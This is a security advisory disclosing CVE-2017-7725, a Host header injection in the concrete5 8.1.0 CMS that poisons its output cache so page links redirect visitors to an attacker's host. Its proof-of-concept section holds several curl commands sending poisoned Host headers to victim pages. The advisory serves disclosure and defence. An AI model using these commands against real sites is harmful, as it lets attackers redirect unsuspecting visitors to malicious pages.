[+] Credits: John Page a.k.a hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/CONCRETE5-v8.1.0-HOST-HEADER-INJECTION.txt [+] ISR: ApparitionSec Vendor: ================== www.concrete5.org Product: ================ concrete5 v8.1.0 concrete5 is an open-source content management system (CMS) for publishing content on the World Wide Web and intranets. Vulnerability Type: ====================== Host Header Injection CVE Reference: ============== CVE-2017-7725 Security Issue: ================ If a user does not specify a "canonical" URL on installation of concrete5, unauthenticated remote attackers can write to the "collectionversionblocksoutputcache" table of the MySQL Database, by making HTTP GET request with a poisoned HOST header. Some affected concrete5 webpages can then potentially render arbitrary links that can point to a malicious website. Example MySQL data from "CollectionVersionBlocksOutputCache" table. (164, 1, 57, 'Header Site Title', 'Elemental', 1649861489 e.g. c:\> curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip" | more Services :: POC Exploit: ========= curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/team/faq -H "Host: attacker-ip" curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip" curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/portfolio -H "Host: attacker-ip" Navigate to one of these URLs: http://VICTIM-IP/concrete5-8.1.0/index.php/services http://VICTIM-IP/concrete5-8.1.0/index.php/portfolio Click on links in header portion of the webpage from one of the above URLs. Services Portfolio Team / Drop down Menu Blog Contact OR click on the links on footer portion of the webpage. FAQ / Help Case Studies Blog Another Link View on Google Maps Result: user gets redirected to attacker-ip. Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ====================================================== Vendor Notification : April 11, 2017 Vendor reply: "this is a known issue" : April 12, 2017 Requested a CVE from mitre. CVE assigned : April 12, 2017 April 13, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx